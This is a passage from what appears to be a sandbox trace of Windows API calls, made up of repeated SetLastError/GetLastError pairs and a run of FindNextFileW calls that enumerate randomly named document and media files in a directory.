SetLastError (dwErrCode=0x0) [0139.794] GetLastError () returned 0x0 [0139.794] SetLastError (dwErrCode=0x0) [0139.794] GetLastError () returned 0x0 [0139.795] SetLastError (dwErrCode=0x0) [0139.795] GetLastError () returned 0x0 [0139.795] SetLastError (dwErrCode=0x0) [0139.795] GetLastError () returned 0x0 [0139.795] SetLastError (dwErrCode=0x0) [0139.795] GetLastError () returned 0x0 [0139.795] SetLastError (dwErrCode=0x0) [0139.795] GetLastError () returned 0x0 [0139.795] SetLastError (dwErrCode=0x0) [0139.795] GetLastError () returned 0x0 [0139.795] SetLastError (dwErrCode=0x0) [0139.795] GetLastError () returned 0x0 [0139.795] SetLastError (dwErrCode=0x0) [0139.795] GetLastError () returned 0x0 [0139.795] SetLastError (dwErrCode=0x0) [0139.795] GetLastError () returned 0x0 [0139.795] SetLastError (dwErrCode=0x0) [0139.795] GetLastError () returned 0x0 [0139.795] SetLastError (dwErrCode=0x0) [0139.795] GetLastError () returned 0x0 [0139.795] SetLastError (dwErrCode=0x0) [0139.795] GetLastError () returned 0x0 [0139.796] SetLastError (dwErrCode=0x0) [0139.796] GetLastError () returned 0x0 [0139.796] SetLastError (dwErrCode=0x0) [0139.796] GetLastError () returned 0x0 [0139.796] SetLastError (dwErrCode=0x0) [0139.796] GetLastError () returned 0x0 [0139.796] SetLastError (dwErrCode=0x0) [0139.796] GetLastError () returned 0x0 [0139.796] SetLastError (dwErrCode=0x0) [0139.796] GetLastError () returned 0x0 [0139.796] SetLastError (dwErrCode=0x0) [0139.796] GetLastError () returned 0x0 [0139.796] SetLastError (dwErrCode=0x0) [0139.796] GetLastError () returned 0x0 [0139.796] SetLastError (dwErrCode=0x0) [0139.796] GetLastError () returned 0x0 [0139.796] SetLastError (dwErrCode=0x0) [0139.796] GetLastError () returned 0x0 [0139.796] SetLastError (dwErrCode=0x0) [0139.797] GetLastError () returned 0x0 [0139.797] SetLastError (dwErrCode=0x0) [0139.797] GetLastError () returned 0x0 [0139.797] SetLastError (dwErrCode=0x0) [0139.797] GetLastError () returned 0x0 [0139.797] SetLastError (dwErrCode=0x0) [0139.797] GetLastError () returned 0x0 [0139.797] SetLastError (dwErrCode=0x0) [0139.797] GetLastError () returned 0x0 [0139.797] SetLastError (dwErrCode=0x0) [0139.797] GetLastError () returned 0x0 [0139.797] SetLastError (dwErrCode=0x0) [0139.797] GetLastError () returned 0x0 [0139.797] SetLastError (dwErrCode=0x0) [0139.797] GetLastError () returned 0x0 [0139.797] SetLastError (dwErrCode=0x0) [0139.797] GetLastError () returned 0x0 [0139.797] SetLastError (dwErrCode=0x0) [0139.797] GetLastError () returned 0x0 [0139.798] SetLastError (dwErrCode=0x0) [0139.798] GetLastError () returned 0x0 [0139.798] SetLastError (dwErrCode=0x0) [0139.798] GetLastError () returned 0x0 [0139.798] SetLastError (dwErrCode=0x0) [0139.798] GetLastError () returned 0x0 [0139.798] SetLastError (dwErrCode=0x0) [0139.798] GetLastError () returned 0x0 [0139.798] SetLastError (dwErrCode=0x0) [0139.798] GetLastError () returned 0x0 [0139.798] SetLastError (dwErrCode=0x0) [0139.798] GetLastError () returned 0x0 [0139.798] SetLastError (dwErrCode=0x0) [0139.825] SetEvent (hEvent=0x29c) returned 1 [0139.825] ResetEvent (hEvent=0x2a4) returned 1 [0139.825] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xf197, dwReserved0=0x0, dwReserved1=0x0, cFileName="LgQIok5RNh.mp4", cAlternateFileName="")) returned 1 [0139.826] GetLastError () returned 0x0 [0139.826] SetLastError (dwErrCode=0x0) [0139.826] GetLastError () returned 0x0 [0139.826] SetLastError (dwErrCode=0x0) [0139.826] GetLastError () returned 0x0 [0139.826] SetLastError (dwErrCode=0x0) [0139.826] GetLastError () returned 0x0 [0139.826] SetLastError (dwErrCode=0x0) [0139.826] GetLastError () returned 0x0 [0139.826] SetLastError (dwErrCode=0x0) [0139.826] GetLastError () returned 0x0 [0139.826] SetLastError (dwErrCode=0x0) [0139.826] GetLastError () returned 0x0 [0139.826] SetLastError (dwErrCode=0x0) [0139.826] GetLastError () returned 0x0 [0139.826] SetLastError (dwErrCode=0x0) [0139.826] GetLastError () returned 0x0 [0139.827] SetLastError (dwErrCode=0x0) [0139.827] GetLastError () returned 0x0 [0139.827] SetLastError (dwErrCode=0x0) [0139.827] GetLastError () returned 0x0 [0139.827] SetLastError (dwErrCode=0x0) [0139.827] GetLastError () returned 0x0 [0139.827] SetLastError (dwErrCode=0x0) [0139.827] GetLastError () returned 0x0 [0139.827] SetLastError (dwErrCode=0x0) [0139.827] GetLastError () returned 0x0 [0139.827] SetLastError (dwErrCode=0x0) [0139.827] GetLastError () returned 0x0 [0139.827] SetLastError (dwErrCode=0x0) [0139.827] GetLastError () returned 0x0 [0139.827] SetLastError (dwErrCode=0x0) [0139.827] GetLastError () returned 0x0 [0139.828] SetLastError (dwErrCode=0x0) [0139.828] GetLastError () returned 0x0 [0139.828] SetLastError (dwErrCode=0x0) [0139.828] GetLastError () returned 0x0 [0139.828] SetLastError (dwErrCode=0x0) [0139.828] GetLastError () returned 0x0 [0139.828] SetLastError (dwErrCode=0x0) [0139.828] GetLastError () returned 0x0 [0139.828] SetLastError (dwErrCode=0x0) [0139.828] GetLastError () returned 0x0 [0139.828] SetLastError (dwErrCode=0x0) [0139.828] GetLastError () returned 0x0 [0139.828] SetLastError (dwErrCode=0x0) [0139.828] GetLastError () returned 0x0 [0139.828] SetLastError (dwErrCode=0x0) [0139.828] GetLastError () returned 0x0 [0139.828] SetLastError (dwErrCode=0x0) [0139.828] GetLastError () returned 0x0 [0139.828] SetLastError (dwErrCode=0x0) [0139.828] GetLastError () returned 0x0 [0139.829] SetLastError (dwErrCode=0x0) [0139.829] GetLastError () returned 0x0 [0139.829] SetLastError (dwErrCode=0x0) [0139.829] GetLastError () returned 0x0 [0139.829] SetLastError (dwErrCode=0x0) [0139.829] GetLastError () returned 0x0 [0139.829] SetLastError (dwErrCode=0x0) [0139.829] GetLastError () returned 0x0 [0139.829] SetLastError (dwErrCode=0x0) [0139.829] GetLastError () returned 0x0 [0139.829] SetLastError (dwErrCode=0x0) [0139.829] GetLastError () returned 0x0 [0139.829] SetLastError (dwErrCode=0x0) [0139.829] GetLastError () returned 0x0 [0139.829] SetLastError (dwErrCode=0x0) [0139.829] GetLastError () returned 0x0 [0139.829] SetLastError (dwErrCode=0x0) [0139.829] GetLastError () returned 0x0 [0139.829] SetLastError (dwErrCode=0x0) [0139.829] GetLastError () returned 0x0 [0139.829] SetLastError (dwErrCode=0x0) [0139.830] GetLastError () returned 0x0 [0139.830] SetLastError (dwErrCode=0x0) [0139.830] GetLastError () returned 0x0 [0139.830] SetLastError (dwErrCode=0x0) [0139.830] GetLastError () returned 0x0 [0139.830] SetLastError (dwErrCode=0x0) [0139.830] GetLastError () returned 0x0 [0139.830] SetLastError (dwErrCode=0x0) [0139.830] GetLastError () returned 0x0 [0139.830] SetLastError (dwErrCode=0x0) [0139.830] GetLastError () returned 0x0 [0139.830] SetLastError (dwErrCode=0x0) [0139.830] GetLastError () returned 0x0 [0139.830] SetLastError (dwErrCode=0x0) [0139.830] GetLastError () returned 0x0 [0139.830] SetLastError (dwErrCode=0x0) [0139.830] GetLastError () returned 0x0 [0139.830] SetLastError (dwErrCode=0x0) [0139.830] GetLastError () returned 0x0 [0139.831] SetLastError (dwErrCode=0x0) [0139.831] GetLastError () returned 0x0 [0139.831] SetLastError (dwErrCode=0x0) [0139.831] GetLastError () returned 0x0 [0139.831] SetLastError (dwErrCode=0x0) [0139.831] GetLastError () returned 0x0 [0139.831] SetLastError (dwErrCode=0x0) [0139.831] GetLastError () returned 0x0 [0139.831] SetLastError (dwErrCode=0x0) [0139.831] GetLastError () returned 0x0 [0139.831] SetLastError (dwErrCode=0x0) [0139.831] GetLastError () returned 0x0 [0139.831] SetLastError (dwErrCode=0x0) [0139.831] GetLastError () returned 0x0 [0139.831] SetLastError (dwErrCode=0x0) [0139.831] GetLastError () returned 0x0 [0139.831] SetLastError (dwErrCode=0x0) [0139.831] GetLastError () returned 0x0 [0139.831] SetLastError (dwErrCode=0x0) [0139.831] GetLastError () returned 0x0 [0139.831] SetLastError (dwErrCode=0x0) [0139.831] GetLastError () returned 0x0 [0139.832] SetLastError (dwErrCode=0x0) [0139.832] GetLastError () returned 0x0 [0139.832] SetLastError (dwErrCode=0x0) [0139.832] GetLastError () returned 0x0 [0139.832] SetLastError (dwErrCode=0x0) [0139.832] GetLastError () returned 0x0 [0139.832] SetLastError (dwErrCode=0x0) [0139.832] GetLastError () returned 0x0 [0139.832] SetLastError (dwErrCode=0x0) [0139.832] GetLastError () returned 0x0 [0139.832] SetLastError (dwErrCode=0x0) [0139.832] GetLastError () returned 0x0 [0139.833] SetLastError (dwErrCode=0x0) [0139.833] GetLastError () returned 0x0 [0139.833] SetLastError (dwErrCode=0x0) [0139.833] GetLastError () returned 0x0 [0139.833] SetLastError (dwErrCode=0x0) [0139.833] GetLastError () returned 0x0 [0139.833] SetLastError (dwErrCode=0x0) [0139.833] GetLastError () returned 0x0 [0139.833] SetLastError (dwErrCode=0x0) [0139.833] GetLastError () returned 0x0 [0139.833] SetLastError (dwErrCode=0x0) [0139.833] GetLastError () returned 0x0 [0139.833] SetLastError (dwErrCode=0x0) [0139.833] GetLastError () returned 0x0 [0139.833] SetLastError (dwErrCode=0x0) [0139.833] GetLastError () returned 0x0 [0139.833] SetLastError (dwErrCode=0x0) [0139.833] GetLastError () returned 0x0 [0139.833] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a6a0c5, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x12cd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="lDq8f54d4hhCIri7rU.rtf", cAlternateFileName="")) returned 1 [0139.833] GetLastError () returned 0x0 [0139.834] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cc15db, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cc15db, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x15208, dwReserved0=0x0, dwReserved1=0x0, cFileName="gkNzsfx.odt", cAlternateFileName="")) returned 1 [0139.834] GetLastError () returned 0x0 [0139.834] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xb863, dwReserved0=0x0, dwReserved1=0x0, cFileName="uX9C3BTlu7W5CJLwms.ppt", cAlternateFileName="")) returned 1 [0139.834] GetLastError () returned 0x0 [0139.834] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xbe68, dwReserved0=0x0, dwReserved1=0x0, cFileName="vKgP03.mp3", cAlternateFileName="")) returned 1 [0139.834] GetLastError () returned 0x0 [0139.834] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a42fc4, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x17c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="a7jth.jpg", cAlternateFileName="")) returned 1 [0139.834] GetLastError () returned 0x0 [0139.834] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cf2322, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a911c7, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cf2322, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x158c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="zYMAYhHoRyK6PFynZFc.mkv", cAlternateFileName="")) returned 1 [0139.834] GetLastError () returned 0x0 [0139.834] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449ba440, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1546a, dwReserved0=0x0, dwReserved1=0x0, cFileName="EGXGDc6zOuTQrpM.gif", cAlternateFileName="")) returned 1 [0139.834] GetLastError () returned 0x0 [0139.835] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xf284, dwReserved0=0x0, dwReserved1=0x0, cFileName="2E6UGCq.doc", cAlternateFileName="")) returned 1 [0139.835] GetLastError () returned 0x0 [0139.835] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x13179, dwReserved0=0x0, dwReserved1=0x0, cFileName="nCFz76aqfOi4GGvs9d9.m4a", cAlternateFileName="")) returned 1 [0139.835] GetLastError () returned 0x0 [0139.835] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449b0800, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x5140, dwReserved0=0x0, dwReserved1=0x0, cFileName="C9OE6MiLKOuTz5.avi", cAlternateFileName="")) returned 1 [0139.835] GetLastError () returned 0x0 [0139.835] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a4cc05, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xaf7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="b13UpS9k3v.swf", cAlternateFileName="")) returned 1 [0139.835] GetLastError () returned 0x0 [0139.835] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x577b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MM3Rngzs9r6yCyV.csv", cAlternateFileName="")) returned 1 [0139.835] GetLastError () returned 0x0 [0139.835] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x15886, dwReserved0=0x0, dwReserved1=0x0, cFileName="mcLK0zRep8.ots", cAlternateFileName="")) returned 1 [0139.835] GetLastError () returned 0x0 [0139.835] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xab34, dwReserved0=0x0, dwReserved1=0x0, cFileName="p7Ha2r1u6wluhJ.pptx", cAlternateFileName="")) returned 1 [0139.835] GetLastError () returned 0x0 [0139.836] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cc15db, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cc15db, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x8b6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="iJonu6wFMMd.bmp", cAlternateFileName="")) returned 1 [0139.836] GetLastError () returned 0x0 [0139.836] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xbd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="KeH2iEJnN7k1r.odt", cAlternateFileName="")) returned 1 [0139.836] GetLastError () returned 0x0 [0139.836] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c42689, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449896ff, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c42689, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x140ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="9lpH4LUvBOFfSshu6h.csv", cAlternateFileName="")) returned 1 [0139.836] GetLastError () returned 0x0 [0139.836] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x13a59, dwReserved0=0x0, dwReserved1=0x0, cFileName="2XXFjQNQ26X8Wc.swf", cAlternateFileName="")) returned 1 [0139.836] GetLastError () returned 0x0 [0139.836] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd32d, dwReserved0=0x0, dwReserved1=0x0, cFileName="KLswtt0JPiPQkCC6R3Lm.m4a", cAlternateFileName="")) returned 1 [0139.836] GetLastError () returned 0x0 [0139.836] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a4cc05, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x9304, dwReserved0=0x0, dwReserved1=0x0, cFileName="bVYQpQ1.mp4", cAlternateFileName="")) returned 1 [0139.836] GetLastError () returned 0x0 [0139.836] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd722, dwReserved0=0x0, dwReserved1=0x0, cFileName="pQaKrG.pptx", cAlternateFileName="")) returned 1 [0139.837] GetLastError () returned 0x0 [0139.837] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449896ff, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xf4a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AzVWpbVP.doc", cAlternateFileName="")) returned 1 [0139.837] GetLastError () returned 0x0 [0139.837] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449c4080, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11b85, dwReserved0=0x0, dwReserved1=0x0, cFileName="EmJj9nJ.pptx", cAlternateFileName="")) returned 1 [0139.837] GetLastError () returned 0x0 [0139.837] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xadfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="fUgAWuSkZ3EbpCZ5Rvs.gif", cAlternateFileName="")) returned 1 [0139.837] GetLastError () returned 0x0 [0139.837] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x6fbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="MwAvirxPiQV.swf", cAlternateFileName="")) returned 1 [0139.837] GetLastError () returned 0x0 [0139.837] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1339b, dwReserved0=0x0, dwReserved1=0x0, cFileName="vfiyj.gif", cAlternateFileName="")) returned 1 [0139.837] GetLastError () returned 0x0 [0139.837] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c86c53, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449eb182, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c86c53, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1526f, dwReserved0=0x0, dwReserved1=0x0, cFileName="USKBVwnLaYIUmcn.mp4", cAlternateFileName="")) returned 1 [0139.837] GetLastError () returned 0x0 [0139.838] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cdea9f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a7d946, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cdea9f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x86dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="s6JQB.pptx", cAlternateFileName="")) returned 1 [0139.838] GetLastError () returned 0x0 [0139.838] FindNextFileW (in: hFindFile=0x8717e0, lpFindFileData=0x31ef6b4 | out: lpFindFileData=0x31ef6b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cdea9f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cdea9f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x9f6f, 